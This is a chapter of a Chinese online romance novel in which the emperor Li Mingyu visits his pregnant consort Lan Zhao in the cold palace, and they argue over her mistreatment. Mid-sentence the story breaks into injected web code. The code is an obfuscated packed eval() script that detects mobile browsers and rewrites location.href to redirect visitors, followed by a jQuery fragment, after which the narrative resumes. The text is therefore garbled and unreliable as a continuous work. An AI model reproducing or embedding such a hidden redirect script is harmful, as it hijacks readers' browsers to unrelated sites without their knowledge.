25. 呼之欲出
作品:《别撸了,朕是陛下!》 “陛陛陛下,这个时候您怎么会来?”兰昭嘴巴打了结,尽管脑袋里飞速想着该说什么得体,但是这个场面还是太超过她意料了!
谁又能想到头一天气得疾言厉色的皇帝现在又偷摸进她屋里?
“这偌大的天下都是朕的,朕想去哪就去哪,难道要向你汇报?”
李鸣玉一张脸依旧冷淡淡的,但是语气却难得地有了起伏。
兰昭简直要阿弥陀佛了——头一次见着冰块子还会怼人呢,好歹怼的有点人气了,不是那种跟冻在冰箱里冻了才拿出来似的。
兰昭本来想温温柔柔又十分得体地把这个话接过去,奈何她一紧张把本性给激出来了,整个人就显得有些嬉皮笑脸,油腔滑调的。
“哪里哪里,陛下自然是想去哪儿就去哪儿,这天底下又有谁敢拦着陛下呢?”
“你竟然身怀有孕,不老实歇着,在这满屋里蹦哒什么?”
蹦哒什么……
兰昭有点想笑,但肯定不敢笑出声来。
就……用这种冷得近乎可爱的脸,说这种奇形怪状的话,就天然的很好笑啊!
“你那副表情什么意思?朕不是在同你玩笑。我说你该歇着!”
说了那个“我”字,李鸣玉的脸上突然有一瞬间的怔愣,然后眉毛微不可查的抽了一下,接下来他像掩饰什么似的,挥了两手:“罢了罢了,反正朕瞧着你也不甚重视这孩子。”
“我没有……”
兰昭一面压下心里奇异的满足感,一面嘟嘟囔囔道。
“够了,朕不是来同你扯皮的,朕有话问你,问完就走。”
李鸣玉继续恢复把自己冻到冰箱里的状态,然后冷漠地扫了一下屋内装潢,确保没有他心中的闲杂人等,就一把扯过兰昭的手。
那双手覆上来的当下,竟然有点轻微的颤抖,兰昭也分不清这到底是他的呢,还是其实是李明玉的?
兰昭懵懵的被他扯着,两个人一起不甚默契的前脚踩后脚走到了榻边。
李鸣玉毫不客气,把衣袍一掀大马金刀的坐在兰昭方才滚过的榻边,兰昭一下子有点赧然——
她刚起床时非要拎着羽衣跟她一起打太极,羽衣拒绝了好几遍她也没答应,导致睡过的榻上还乱糟糟的,锦被枕席全部被她滚作一团。
咳咳,怎么说呢,作为一个现代人来说,这当然是还没蚂蚁大的小事。可是作为一个古代的名门闺秀来说的话嘛……
无论从哪个角度解释,多少还是有点不得体在的。
“你没丫头使唤?”
李鸣玉看了一圈,就撇着一边嘴角,看上去纳闷的问道。
兰昭匆忙摆手,她可不想给羽衣招致什么麻烦,于是赶紧一连串地说没有没有,是她不让丫头这么办的。
“为何?”
兰昭吭哧吭哧道:“这个……主要是因为……我容易犯困嘛,这就想着这床铺不收拾了,也好随时躺上去休息。”
李鸣玉不置可否地哦了一声,然后长久的盯着兰昭。
盯的时间一长,兰昭倒是完全无所谓,心里还为自己的机智疯狂鼓掌,李鸣玉却好像想到什么似的,不自然地挪开了目光。
“……撒谎,每次总是只会对朕撒谎。”
兰昭听清,突然感觉自己心里的小鼓点强劲了一拍:“嗯?”
李鸣玉撇撇嘴,一副拿她没办法的样子,然后别别扭扭地伸出手来,慢慢温柔而坚定的环上兰昭的腰,他像是没看到兰昭快要惊的蹦出来的眼珠子,轻轻呼出一口气,然后把自己的脸埋在了兰昭的胸脯上。
兰昭瞬间浑身惊颤的如同滚雷闪过,她发现自己完全控制不了身体的反应!
这个身体比她想象的要青涩敏感的多,仅仅是这样轻柔的依赖和相贴,兰昭就觉得自己简直要晕过去了。
“……瘦了,比之前瘦多了,怎么不好好吃饭?”
李鸣玉就这样埋在她的胸脯上,整个人说话的气声低徊又含含混混,每一个字都像敲在兰昭此刻滚烫震颤的心上,她慌得六神无主,心浮气躁的,连耳朵尖都在发烫……
在这种旖旎的气氛都在氤氲着粉色泡泡的时刻,难道要叫她破坏兴致的出来说一句——那你别把我关在冷宫啊?
兰昭现在光是抵抗李鸣玉猛烈的攻势都有点应接不暇了,又怎么会想出得体的说辞来应对他的发问?
“……我,被关在冷宫,怎么会吃得好啊,每天都很辛苦。”
这些话其实确实也都很准确,是实话来的,并非兰昭主观上想要刻意逃避卖乖撒娇什么的,可是在此情此景,这种叫外人看一幅你侬我侬的甜蜜情景下,兰昭的话自然就变了意味。
落到李鸣玉的耳朵里,那就一定是兰昭对自己委屈的倾诉和小女儿态的撒娇,兰昭也不知道这位陛下怎么想。
只见他听了这些话,并不言语,反而那双环在兰昭腰上的手更加用劲儿,拼了命的把兰昭往前带,瞬间而已,两个人几乎贴的亲密无间。
兰昭避无可避的感受到李鸣玉的沉重呼吸砸在自己的胸脯上,一下两下三下缓慢但是却又轻挑。
兰昭热的几乎想要逃走,整个人从脚心到发丝儿,都像在沸水里被熬煎着一样,她从来没有过这种神奇的生理反应,也不知道自己线下要做什么才好……
那双手臂,贴着李明玉的肩膀摁着他似乎不太得体,可是垂下来又酸软得实在放不住,最后实在没法了,顺着本心把它抬起试探着,环在了李鸣玉的脖子上,将他紧紧圈住。
李鸣玉的身体狠狠的抖了一下,兰昭很难说清这种感觉,就好像她主动弹出的这一步,对李鸣玉而言像是付出了什么认可一样,让他贴着她胸口的脸更加肆无忌惮。
“我还想着,你永远不会像这种示弱,你从来都是不愿意拿正眼瞧着我,我同你讲话你也爱搭不理……”
兰昭感受着自己胸口前的震颤,李鸣玉一连串的剖开肺腑,讲了这些很真诚的话,她一时反倒不知做何解了。
可是无论兰昭现在整个人有多么的心浮气软,她也能够清晰地想明白一件事情,这一切还不都是这个陛下干的?
是谁把她关到冷宫的?是谁不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434073|200301||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让那些奴婢丫鬟好好对她的?又是谁让她受苦的?
始作俑者自然就是现在这个趴在她胸口上,看上去极其脆弱的像一只受了伤的小鹿的男人。
兰昭浑身的那股不对劲的燥热,突然就像是被一瓢冰水浇过来,瞬间镇定了一半。
这世界上的事,有因才有果,哪里有种下苦果的人,反倒这里大喊痛苦的,她这个真正承担恶果的人还没吭哧一句呢!
想到这里,兰昭的心冷了下去,她清醒过来,用手狠狠的抵住李鸣玉的肩头——并不是调情做弄式的,而是十分坚决把他从自己胸脯上推了起来。
“……阿蒻,还在怪朕,对不对?”
听到这个称呼,兰昭一下子有些迷茫,突然觉得她仿佛在哪里听到过似的……对了,这不正是当时在那个庭院里她所谓的兄长对她的称词吗?
“可是我不能不这么做,自打把你带到宫中,你隔三岔五便行刺杀之事。虽然朕知道哪怕你把一把匕首捅进朕的心脏里,也不过是要童真玩闹,并非真的心存歹意,可是朕不能不给文武百官一个交代!”讲到这,李鸣玉痛苦的拿手扶住半张脸,“这些年里,朕陆陆续续的把你关了四五趟冷宫,可是哪一次不是衣食周全,奴仆不缺?”
他越说越痛苦,几乎五官都要皱在一块儿了,那张冷峻清丽的脸上,第一次显出这种彷徨苦痛的神色,兰昭倒不能不多看两眼了。
“如果陛下真这么觉得,那阿蒻没有什么话可说。”
此话一出,方才的温情氛围瞬间消失的一干二净,李鸣玉把手撑在榻上——仿佛刚才碰过兰照的人并不是他,他问兰昭这话是什么意思?
兰昭几乎是冷笑了一声:“陛下所谓的衣食周全,奴仆不缺,就是指每天剩饭馊菜,并且把我的陪嫁丫头也强行与我分隔开来?”
突然她就看到李鸣玉的脸上慢慢布满诧异之色。那种程度真实得兰昭都险些要以为,李鸣玉不是这样对待她的了。
“你说什么?”
兰昭面无表情:“我说,被陛下关进冷宫的每一天,我都是掰着指头熬过来的。陛下你知道吗?我甚至觉得我哪一天睁开眼突然就会死掉,冷宫里的女子谈何幸福,又谈何尊严?”
李鸣玉脸上的表情已经不能用难看来形容了,他像是听到了一个天大的谎言,被强行撕开一角,露出鲜血淋漓的皮肉,直到过了很久,空气中只剩两个人并不均匀的呼吸。
“阿蒻,如果朕说这些事情朕一概不知,你会信吗?”
“陛下您是天子,天子怎会一概不知。如果陛下强行要问臣妾一个答案,那臣妾也只能说,不知道。”
李鸣玉呆滞的听着兰昭说,最后他无可奈何的点了点头:“真明白,真什么都明白了,你等着吧,我现在去处理一个大麻烦,等我回来,你的孩子便是太子!”
在兰昭惊疑不定的目光里,李鸣玉倏忽站了起来,他抬手要抚上兰照的脸颊,被兰昭狠狠躲过,也不以为意,反而更加执拗地摸上了兰昭的脸。
“我会给你一个交代。你的福气在后头,我答应你。”

